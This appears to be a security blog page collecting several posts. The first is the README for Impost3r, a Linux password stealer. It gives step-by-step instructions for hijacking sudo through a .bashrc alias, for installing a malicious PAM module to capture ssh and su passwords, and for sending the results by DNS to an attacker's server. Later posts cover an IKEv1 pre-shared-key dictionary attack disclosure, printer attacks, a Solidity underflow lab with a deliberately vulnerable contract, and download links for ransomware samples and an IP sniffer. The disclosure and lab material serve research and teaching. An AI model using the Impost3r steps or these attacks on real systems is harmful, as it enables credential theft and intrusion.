CCCN Internal Seminars Website

Wednesday, June 10, 2020

Impost3r - A Linux Password Thief

Impost3r is a tool that aim to steal many kinds of linux passwords(including ssh,su,sudo) written by C.
Attackers can use Impost3r to make a trap to steal the legal user's passwords XD

This tool is limited to security research and teaching, and the user bears all legal and related responsibilities caused by the use of this tool! The author does not assume any legal and related responsibilities!

Features

Automatically clean the track
Use DNS to transfer the result
Really hard for legal users can feel this attack

Dependencies

Usage

Impost3r can be used to steal passwords including sudo, su, and ssh services. These three services can be roughly divided into two categories, sudo and ssh/su. I will discuss them below

Steal sudo password

Only need ordinary user's privilege,and can only steal current user's password.

First i will assume that attacker has controled a server and the privilege is ordinary user
Then copy the original .bashrc file cp ～/.bashrc /tmp/,and put this copy anywhere you like(In this case,i will use /tmp/)
Edit the original .bashrc,and add following sentences at the end of file(The param "/tmp/.impost3r" must be as the same as the following FILENAME you specified):

alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'

Then,save it and run source ~/.bashrc
After that,attacker needs to edit the source code of Impost3r/sudo/main.c:

/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Set the location where the Impost3r is on the server you attack.
# define BACKUP_BASHRC "/tmp/.bashrc" \\Set the location where the backup .bashrc is on the server you attack.
# define SAVE_OR_SEND 0 \\Set the method you want to apply when Impost3r get the password,(send to your server=0,save the result on the current server=1,default is send)
/*
    Send to server
*/
# define MAX_RESEND 30 \\Set the maximum times that Impost3r will try to resends stealing result to attacker's server
# define RESEND_INTERVAL 5 \\Set the interval of resending stealing result.
# define REMOTE_ADDRESS "192.168.0.12" \\Set the malicious server ip address that you want to receive stealing result
# define REMOTE_PORT 53 \\Set the malicious server port

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\Set the result file location if you want to save the result on the server

Save the source code,and run make
Get the .impost3r file after compiling.
Upload .impost3r file to the target server and put it under the FILENAME you specified.
The last thing you should do is run a dns server service on your server(REMOTE_ADDRESS)'s port(REMOTE_PORT),and waiting for the bonus.

Demo

Tips

When Impost3r steal the sudo password successfully,it will automatically clean the traces it make on the target server.

Steal ssh/su password

Stealing the ssh/su password is different from the sudo password stealing method above. You need root privilege.And this method can steal all user's password
The following uses Ubuntu as an example, Centos is similar,but the file locations mentioned may be slightly different

First, assume that the attacker controls a server,and gets the root privilege
Then edit the /ssh_su/main.c source code file of Impost3r

/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\Set stealing mode, 0 means only steal ssh password, 1 means steal ssh and su password, the default is 0 (the difference will be mentioned later)
# define SAVE_OR_SEND 0 \\Set the method you want to apply when Impost3r get the password,(send to your server=0,save the result on the current server=1,default is send)

/*
    Send to server
*/
# define MAX_RESEND 30 \\Set the maximum times that Impost3r will try to resends stealing result to attacker's server(This option is valid only when SSH_OR_BOTH is 0)
# define RESEND_INTERVAL 5 \\Set the interval of resending stealing result.(This option is valid only when SSH_OR_BOTH is 0)
# define REMOTE_ADDRESS "192.168.0.12" \\Set the malicious server ip address that you want to receive stealing result
# define REMOTE_PORT 53 \\Set the malicious server port

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\Set the result file location if you want to save the result on the server

After the modification is completed, save and execute ```make''` in the current directory
Get the compiled file impost3r.so
Upload the compiled impost3r.so to the target server under /lib/x86_64-linux-gnu/security folder.(Different machines may have different folder names)
Enter /etc/pam.d, and then there are two cases. If the selected mode is to steal only the ssh password, then you need to execute vi sshd and add at the following statement at the end of the file.

auth optional impost3r.so
account optional impost3r.so

Save and exit, restart the sshd service service sshd restart
But if you choose to steal the ssh and su passwords together, you need to execute vi common-auth, add the same statement, save and exit and restart the sshd service
Attacker starts the dns server program on his server, waiting for a legitimate user to log on the target server via ssh or use su to switch users to get the passwords.

Demo

Tips

In the case of stealing the ssh/su password, Impost3r cannot clear the traces due to permission reasons, so the attacker needs to clear them himself
Please note that if you set to steal only ssh passwords, you can be guaranteed that you will receive the stolen results nearly 100 percent, but if you set to steal both, you will not be guaranteed that you will receive the results 100 percent. (Choose to save result locally won't have this problem,Only dns will)
It is not recommended to steal the su password since the user's ssh password is the same as the su password.It's pretty enough to have ssh password i think.

Attention

The Dns server progran I use is Fdns,and I change some params,you can find the changed source code under the Fdns folder,and use gcc -o dns main.c util.c to compile it by yourself.And actually you can use any kinds of dns server,but the dns server you use must can make a dns response to client instead of just recording dns request(You also need recording dns request,or you will lose the stealing result).
This porject is coding just for fun , the logic structure and code structure are not strict enough, please don't be so serious about it,and also welcome suggestions and prs.

Thanks

Fdns

Download Impost3r

via KitPloitMore articles

Tuesday, June 9, 2020

Practical Dictionary Attack On IPsec IKE

We found out that in contrast to public knowledge, the Pre-Shared Key (PSK) authentication method in main mode of IKEv1 is susceptible to offline dictionary attacks. This requires only a single active Man-in-the-Middle attack. Thus, if low entropy passwords are used as PSKs, this can easily be broken.

This week at the USENIX Security conference, Dennis Felsch will present our research paper on IPsec attacks: The Dangers of Key Reuse: Practical Attacks on IPsec IKE. [alternative link to the paper]

In his blog post, Dennis showed how to attack the public key encryption based authentication methods of IKEv1 (PKE & RPKE) and how to use this attack against IKEv2 signature based authentication method. In this blog post, I will focus on another interesting finding regarding IKEv1 and the Pre-Shared Key authentication.

IPsec and Internet Key Exchange (IKE)

IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and conﬁguration options. Therefore, IKE is one of the most complex cryptographic protocols in use.

In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.

The relationship between IKEv1 Phase 1, Phase 2, and IPsec ESP. Multiple simultaneous Phase 2 connections can be established from a single Phase 1 connection. Grey parts are encrypted, either with IKE derived keys (light grey) or with IPsec keys (dark grey). The numbers at the curly brackets denote the number of messages to be exchanged in the protocol.

Pre-Shared Key authentication

As shown above, Pre-Shared Key authentication is one of three authentication methods in IKEv1. The authentication is based on the knowledge of a shared secret string. In reality, this is probably some sort of password.

The IKEv1 handshake for PSK authentication looks like the following (simplified version):

In the first two messages, the session identifier (inside HDR) and the cryptographic algorithms (proposals) are selected by initiator and responder.

In messages 3 and 4, they exchange ephemeral Diffie-Hellman shares and nonces. After that, they compute a key k by using their shared secret (PSK) in a PRF function (e.g. HMAC-SHA1) and the previously exchanged nonces. This key is used to derive additional keys (k_a, k_d, k_e). The key k_d is used to compute MAC_I over the session identifier and the shared diffie-hellman secret g^xy. Finally, the key k_e is used to encrypt ID_I (e.g. IPv4 address of the peer) and MAC_I.

Weaknesses of PSK authentication

It is well known that the aggressive mode of authentication in combination with PSK is insecure and vulnerable against off-line dictionary attacks, by simply eavesedropping the packets. For example, in strongSwan it is necessary to set the following configuration flag in order to use it:

charon.i_dont_care_about_security_and_use_aggressive_mode_psk=yes

For the main mode, we found a similar attack when doing some minor additional work. For that, the attacker needs to waits until a peer A (initiator) tries to connect to another peer B (responder). Then, the attacker acts as a man-in-the middle and behaves like the peer B would, but does not forward the packets to B.

From the picture above it should be clear that an attacker who acts as B can compute (g^xy) and receives the necessary public values session ID, n_I, n_R. However, the attacker does not know the PSK. In order to mount a dictionary attack against this value, he uses the nonces, and computes a candidate for k for every entry in the dictionary. It is necessary to make a key derivation for every k with the values of the session identifiers and shared Diffie-Hellmann secret the possible keys k_a, k_d and k_e. Then, the attacker uses k_e in order to decrypt the encrypted part of message 5. Due to ID_I often being an IP address plus some additional data of the initiator, the attacker can easily determine if the correct PSK has been found.

Who is affected?

This weakness exists in the IKEv1 standard (RFC 2409). Every software or hardware that is compliant to this standard is affected. Therefore, we encourage all vendors, companies, and developers to at least ensure that high-entropy Pre-Shared Keys are used in IKEv1 configurations.

In order to verify the attack, we tested the attack against strongSWAN 5.5.1.

Proof-of-Concept

We have implemented a PoC that runs a dictionary attack against a network capture (pcapng) of a IKEv1 main mode session. As input, it also requires the Diffie-Hellmann secret as described above. You can find the source code at github. We only tested the attack against strongSWAN 5.5.1. If you want to use the PoC against another implementation or session, you have to adjust the idHex value in main.py.

Responsible Disclosure

We reported our ﬁndings to the international CERT at July 6th, 2018. We were informed that they contacted over 250 parties about the weakness. The CVE ID for it is CVE-2018-5389 [cert entry].

Credits

On August 10th, 2018, we learned that this attack against IKEv1 main mode with PSKs was previously described by David McGrew in his blog post Great Cipher, But Where Did You Get That Key?. We would like to point out that neither we nor the USENIX reviewers nor the CERT were obviously aware of this.
On August 14th 2018, Graham Bartlett (Cisco) email us that he presented the weakness of PSK in IKEv2 in several public presentations and in his book.
On August 15th 2018, we were informed by Tamir Zegman that John Pliam described the attack on his web page in 1999.

FAQs

Do you have a name, logo, any merchandising for the attack?
No.
Have I been attacked?
We mentioned above that such an attack would require an active man-in-the-middle attack. In the logs this could look like a failed connection attempt or a session timed out. But this is a rather weak indication and no evidence for an attack.
What should I do?
If you do not have the option to switch to authentication with digital signatures, choose a Pre-Shared Key that resists dictionary attacks. If you want to achieve e.g. 128 bits of security, configure a PSK with at least 19 random ASCII characters. And do not use something that can be found in public databases.
Am I safe if I use PSKs with IKEv2?
No, interestingly the standard also mentions that IKEv2 does not prevent against off-line dictionary attacks.
Where can I learn more?
You can read the paper. [alternative link to the paper]
What else does the paper contain?
The paper contains a lot more details than this blogpost. It explains all authentication methods of IKEv1 and it gives message flow diagrams of the protocol. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2.

35 year old bugs features

The key point here is that we exploited PostScript and PJL interpreters. Both printer languages are ancient, de-facto standards and still supported by almost any laser printer out there. And as it seems, they are not going to disappear anytime soon. Recently, we got the chance to test a $2,799 HP PageWide Color Flow MFP 586 brand-new high-end printer. Like its various predecessors, the device was vulnerable to the following attacks:

Capture print jobs of other users if they used PostScript as a printer driver; This is done by first infecting the device with PostScript code
Manipulate printouts of other users (overlay graphics, introduce misspellings, etc.) by infecting the device with PostScript malware
List, read from and write to files on the printers file system with PostScript as well as PJL functions; limited to certain directories
Recover passwords for PostScript and PJL credentials; This is not an attack per se but the implementation makes brute-force rather easy
Launch denial of Service attacks of various kinds:
- PostScript based infinite loops
- PostScript showpage redefinition
- Disable jobmedia with proprietary PJL
- Set the device to offline mode with PJL

Now exploitable from the web

All attacks can be carried out by anyone who can print, which includes:

Web attacker:
- A malicious website that uses XSP
Network access:
- Via Jetdirect (port 9100/tcp)
- Via LPD (port 515/tcp)
- Via IPP (port 631/tcp)
Wireless access:
- Apple Air Print (enabled by default)
Cloud access:
- Google Cloud Print (disabled by default)
Physical access:
- Printing via USB cable or USB drive
- Potentially NFC printing (haven't tested)

Note that the product was tested in the default configuration. To be fair, one has to say that the HP PageWide Color Flow MFP 586 allows strong, Kerberos based user authentication. The permission to print, and therefore to attack the device, can be be limited to certain employees, if configured correctly. The attacks can be easily reproduced using our PRET software. We informed HP's Software Security Response Team (SSRT) in February.

Conclusion: Christian Slater is right

PostScript and PJL based security weaknesses have been present in laser printers for decades. Both languages make no clear distinction between page description and printer control functionality. Using the very same channel for data (to be printed) and code (to control the device) makes printers insecure by design. Manufacturers however are hard to blame. When the languages were invented, printers used to be connected to a computer's parallel or serial port. No one probably thought about taking over a printer from the web (actually the WWW did not even exist, when PostScript was invented back in 1982). So, what to do? Cutting support for established and reliable languages like PostScript from one day to the next would break compatibility with existing printer drivers. As long as we have legacy languages, we need workarounds to mitigate the risks. Otherwise, "The Wolf" like scenarios can get very real in your office…

Continue reading

Monday, June 8, 2020

Blockchain Exploitation Labs - Part 3 Exploiting Integer Overflows And Underflows

In part 1 and 2 we covered re-entrancy and authorization attack scenarios within the Ethereum smart contract environment. In this blog we will cover integer attacks against blockchain decentralized applications (DAPs) coded in Solidity.

Integer Attack Explanation:

An integer overflow and underflow happens when a check on a value is used with an unsigned integer, which either adds or subtracts beyond the limits the variable can hold. If you remember back to your computer science class each variable type can hold up to a certain value length. You will also remember some variable types only hold positive numbers while others hold positive and negative numbers.

If you go outside of the constraints of the number type you are using it may handle things in different ways such as an error condition or perhaps cutting the number off at the maximum or minimum value.

In the Solidity language for Ethereum when we reach values past what our variable can hold it in turn wraps back around to a number it understands. So for example if we have a variable that can only hold a 2 digit number when we hit 99 and go past it, we will end up with 00. Inversely if we had 00 and we subtracted 1 we would end up with 99.

Normally in your math class the following would be true:

99 + 1 = 100
00 - 1 = -1

In solidity with unsigned numbers the following is true:

99 + 1 = 00
00 - 1 = 99

So the issue lies with the assumption that a number will fail or provide a correct value in mathematical calculations when indeed it does not. So comparing a variable with a require statement is not sufficiently accurate after performing a mathematical operation that does not check for safe values.

That comparison may very well be comparing the output of an over/under flowed value and be completely meaningless. The Require statement may return true, but not based on the actual intended mathematical value. This in turn will lead to an action performed which is beneficial to the attacker for example checking a low value required for a funds validation but then receiving a very high value sent to the attacker after the initial check. Lets go through a few examples.

Simple Example:

Lets say we have the following Require check as an example:
require(balance - withdraw_amount > 0) ;

Now the above statement seems reasonable, if the users balance minus the withdrawal amount is less than 0 then obviously they don't have the money for this transaction correct?

This transaction should fail and produce an error because not enough funds are held within the account for the transaction. But what if we have 5 dollars and we withdraw 6 dollars using the scenario above where we can hold 2 digits with an unsigned integer?

Let's do some math.
5 - 6 = 99

Last I checked 99 is greater than 0 which poses an interesting problem. Our check says we are good to go, but our account balance isn't large enough to cover the transaction. The check will pass because the underflow creates the wrong value which is greater than 0 and more funds then the user has will be transferred out of the account.

Because the following math returns true:
require(99 > 0)

Withdraw Function Vulnerable to an UnderFlow:

The below example snippet of code illustrates a withdraw function with an underflow vulnerability:

function withdraw(uint _amount){

    require(balances[msg.sender] - _amount > 0);
    msg.sender.transfer(_amount);
    balances[msg.sender] -= _amount;

}

In this example the require line checks that the balance is greater then 0 after subtracting the _amount but if the _amount is greater than the balance it will underflow to a value above 0 even though it should fail with a negative number as its true value.

require(balances[msg.sender] - _amount > 0);

It will then send the value of the _amount variable to the recipient without any further checks:

msg.sender.transfer(_amount);

Followed by possibly increasing the value of the senders account with an underflow condition even though it should have been reduced:

balances[msg.sender] -= _amount;

Depending how the Require check and transfer functions are coded the attacker may not lose any funds at all but be able to transfer out large sums of money to other accounts under his control simply by underflowing the require statements which checks the account balance before transferring funds each time.

Transfer Function Vulnerable to a Batch Overflow:

Overflow conditions often happen in situations where you are sending a batched amount of values to recipients. If you are doing an airdrop and have 200 users who are each receiving a large sum of tokens but you check the total sum of all users tokens against the total funds it may trigger an overflow. The logic would compare a smaller value to the total tokens and think you have enough to cover the transaction for example if your integer can only hold 5 digits in length or 00,000 what would happen in the below scenario?

You have 10,000 tokens in your account
You are sending 200 users 499 tokens each
Your total sent is 200*499 or 99,800

The above scenario would fail as it should since we have 10,000 tokens and want to send a total of 99,800. But what if we send 500 tokens each? Lets do some more math and see how that changes the outcome.

You have 10,000 tokens in your account
You are sending 200 users 500 tokens each
Your total sent is 200*500 or 100,000
New total is actually 0

This new scenario produces a total that is actually 0 even though each users amount is 500 tokens which may cause issues if a require statement is not handled with safe functions which stop an overflow of a require statement.

Lets take our new numbers and plug them into the below code and see what happens:

1. uint total = _users.length * _tokens;
2. require(balances[msg.sender] >= total);
3. balances[msg.sender] = balances[msg.sender] -total;

4. for(uint i=0; i < users.length; i++){
5. balances[_users[i]] = balances[_users[i]] + _value;

Same statements substituting the variables for our scenarios values:

1. uint total = _200 * 500;
2. require(10,000 >= 0);
3. balances[msg.sender] = 10,000 - 0;

4. for(uint i=0; i < 500; i++){
5. balances[_recievers[i]] = balances[_recievers[i]] + 500;

Batch Overflow Code Explanation:

1: The total variable is 100,000 which becomes 0 due to the 5 digit limit overflow when a 6th digit is hit at 99,999 + 1 = 0. So total now becomes 0.

2: This line checks if the users balance is high enough to cover the total value to be sent which in this case is 0 so 10,000 is more then enough to cover a 0 total and this check passes due to the overflow.

3: This line deducts the total from the senders balance which does nothing since the total of 10,000 - 0 is 10,000. The sender has lost no funds.

4-5: This loop iterates over the 200 users who each get 500 tokens and updates the balances of each user individually using the real value of 500 as this does not trigger an overflow condition. Thus sending out 100,000 tokens without reducing the senders balance or triggering an error due to lack of funds. Essentially creating tokens out of thin air.

In this scenario the user retained all of their tokens but was able to distribute 100k tokens across 200 users regardless if they had the proper funds to do so.

Lab Follow Along Time:

We went through what might have been an overwhelming amount of concepts in this chapter regarding over/underflow scenarios now lets do an example lab in the video below to illustrate this point and get a little hands on experience reviewing, writing and exploiting smart contracts. Also note in the blockchain youtube playlist we cover the same concepts from above if you need to hear them rather then read them.

For this lab we will use the Remix browser environment with the current solidity version as of this writing 0.5.12. You can easily adjust the compiler version on Remix to this version as versions update and change frequently.
https://remix.ethereum.org/

Below is a video going through coding your own vulnerable smart contract, the video following that goes through exploiting the code you create and the videos prior to that cover the concepts we covered above:

Download Video Lab Example Code:

Download Sample Code:

CC Labs GitHub

//Underflow Example Code:

//Can you bypass the restriction?

//--------------------------------------------

pragma solidity ^0.5.12;

contract Underflow{
   mapping (address =>uint) balances;

   function contribute() public payable{
        balances[msg.sender] = msg.value;
   }

   function getBalance() view public returns (uint){
return balances[msg.sender];
   }

   function transfer(address _reciever, uint _value) public payable{
   require(balances[msg.sender] - _value >= 5);
   balances[msg.sender] = balances[msg.sender] - _value;

       balances[_reciever] = balances[_reciever] + _value;
   }

}

This next video walks through exploiting the code above, preferably hand coded by you into the remix environment. As the best way to learn is to code it yourself and understand each piece:

Conclusion:

We covered a lot of information at this point and the video series playlist associated with this blog series has additional information and walk throughs. Also other videos as always will be added to this playlist including fixing integer overflows in the code and attacking an actual live Decentralized Blockchain Application. So check out those videos as they are dropped and the current ones, sit back and watch and re-enforce the concepts you learned in this blog and in the previous lab. This is an example from a full set of labs as part of a more comprehensive exploitation course we have been working on.

Continue reading

Memcrashed DDoS Exploit | Install | Github

Ransomware.OSX.KeRanger Samples

Research: New OS X Ransomware KeRanger Infected Transmission BitTorrent Client Installer by Claud Xiao

Sample credit: Claud Xiao

File information

d1ac55a4e610380f0ab239fcc1c5f5a42722e8ee1554cba8074bbae4a5f6dbe1
1d6297e2427f1d00a5b355d6d50809cb
Transmission-2.90.dmg

e3ad733cea9eba29e86610050c1a15592e6c77820927b9edeb77310975393574
56b1d956112b0b7bd3e44f20cf1f2c19
Transmission

31b6adb633cff2a0f34cefd2a218097f3a9a8176c9363cc70fe41fe02af810b9
14a4df1df622562b3bf5bc9a94e6a783
General.rtf

d7d765b1ddd235a57a2d13bd065f293a7469594c7e13ea7700e55501206a09b5
24a8f01cfdc4228b4fc9bb87fedf6eb7
Transmission2.90.dmg

ddc3dbee2a8ea9d8ed93f0843400653a89350612f2914868485476a847c6484a
3151d9a085d14508fa9f10d48afc7016
Transmission

6061a554f5997a43c91f49f8aaf40c80a3f547fc6187bee57cd5573641fcf153
861c3da2bbce6c09eda2709c8994f34c
General.rtf

Download

Download. Email me if you need the password (New link)

More information

DOWNLOAD OCTOSNIFF 2.0.3 FULL VERSION – PLAYSTATION AND XBOX IP SNIFFER

OctoSniff is a network research tool that allows you to determine information about all the other players you're playing with. It is compatible with PS, XBox 360 and XBox One. It has many other features that make it a great sniffing tool. Some people think it might be a tool like Wireshark or Cain n Abel. No, it's not a tool like that. It simply sniffs players that let you know who's really playing. Download OctoSniff 2.0.3 full version. It's only for educational purposes to use.

FEATURES

VPN Optimized
Supports Wireless & Wired Spoofing
Detects Geo IP and Complete Location
Searches Usernames of Players in the Lobby
Really easy to setup

DOWNLOAD OCTOSNIFF 2.0.3 FULL VERSION

More articles

Wednesday, June 10, 2020

Features

Dependencies

Usage

Steal sudo password

Demo

Tips

Steal ssh/su password

Demo

Tips

Attention

Thanks

Tuesday, June 9, 2020

IPsec and Internet Key Exchange (IKE)

Pre-Shared Key authentication

Weaknesses of PSK authentication

Who is affected?

Proof-of-Concept

Responsible Disclosure

FAQs

Related links

35 year old bugs features

Now exploitable from the web

Conclusion: Christian Slater is right

Continue reading

Monday, June 8, 2020

Integer Attack Explanation:

Simple Example:

Withdraw Function Vulnerable to an UnderFlow:

Transfer Function Vulnerable to a Batch Overflow:

Batch Overflow Code Explanation:

Lab Follow Along Time:

Download Video Lab Example Code:

Conclusion:

Continue reading

More articles

FEATURES

DOWNLOAD OCTOSNIFF 2.0.3 FULL VERSION